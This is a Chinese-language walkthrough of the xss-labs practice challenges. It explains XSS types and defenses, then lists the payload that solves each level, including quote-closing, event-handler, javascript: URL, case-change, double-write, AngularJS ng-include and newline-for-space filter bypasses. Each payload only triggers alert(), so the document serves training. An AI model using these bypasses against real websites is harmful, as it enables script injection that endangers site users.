Web安全之Xss-labs通关笔记
XSS(Cross-site scripting跨站脚本)
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表
(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击
缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当
用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,
从而达到恶意攻击用户的目的。
分类:
反射型XSS
payload通常通过url传给后端,之后直接从后端输出到前端,没有存储到数据库中
存储型XSS
payload传到某种存储介质中,如数据库,当用户请求时后端会将存储的 js
代码返回到前端
DOM型XSS
基于DOM(document object model)的xss漏洞, payload没有经过后端,而是直接通过前端处理后浏览器返回到页面上,是一种特殊的反射型XSS
防御:
客户端用户:
使用高版本浏览器
firefox使用CSP ,NoScript等扩展功能
个人安全软件
WEB开发人员:
过滤输入的恶意字符: 单引号,双引号,尖括号, on*等
对输出到页面的数据进行相应的编码转换,html实体编码,js编码
使用白名单过滤恶意字符
使用HttpOnly,禁止页面JS访问带有HttpOnly属性的cookie
Xss-labs过关条件:触发alert()
level1:
poc:?name=<script>alert(/xss/)</script>
level2:
查看页面源代码
闭合input框
poc:
"/><script>alert(/xss/)</script>
level3~4:
闭合加onclick事件
poc:
' onclick='alert()'
" onclick='alert()'
level5:
闭合+<a href=""></a>标签
"><a href="javascript:alert()">/xss/</a>
level6:
闭合+大小写绕过
"><a HREF="javascript:alert()">/xss/</a>
level7:
闭合加双写绕过
"oonnclick="alert()"
level8:
html编码绕过
javasCript:alert()
level9:
根据题目 构造任意的url链接
http://www.xxx.com
添加js代码
javasCript:alert()//
poc:
javasCript:alert()//http://www.xxx.com
level10:
查看源代码发现隐藏参数t_sort
fuzz发现过滤尖括号
构造poc
删除hidden属性或者添加type="text(语法特性只认前边的)
"onclick="alert()" type="text
level11-13:
HTTP头XSS
三处分别是Referer,UserAgent,cookie构造poc:
"onclick="alert()"type="text
level15:
查看页面源代码发现关键信息,引用了angular.js
要知道的是angularJS是一个JS框架
可以通过指令扩展HTML,通过表达式绑定数据到HTML
ng-include指令用于包含外部的文件
ng-include可以作为一个属性或一个元素使用
通过指令包含level1.php并传level1的poc
构造poc:
?src='level1.php?name=<img src=1 onerror=alert()>'
level16:
先试下keyword=<scipt>alert()</script>
发现script被过滤
试下<img src=1 onerror=alert()>发现空格被替换成了
将空格替换为换行%0a后弹窗
poc:
?keyword=<img%0Asrc=1%0Aonerror=alert()>
level17:
发现arg01=a&arg02=b
两个变量都可控,添加js事件后弹窗
poc:
?arg01=a&arg02=b onmouseover=alert()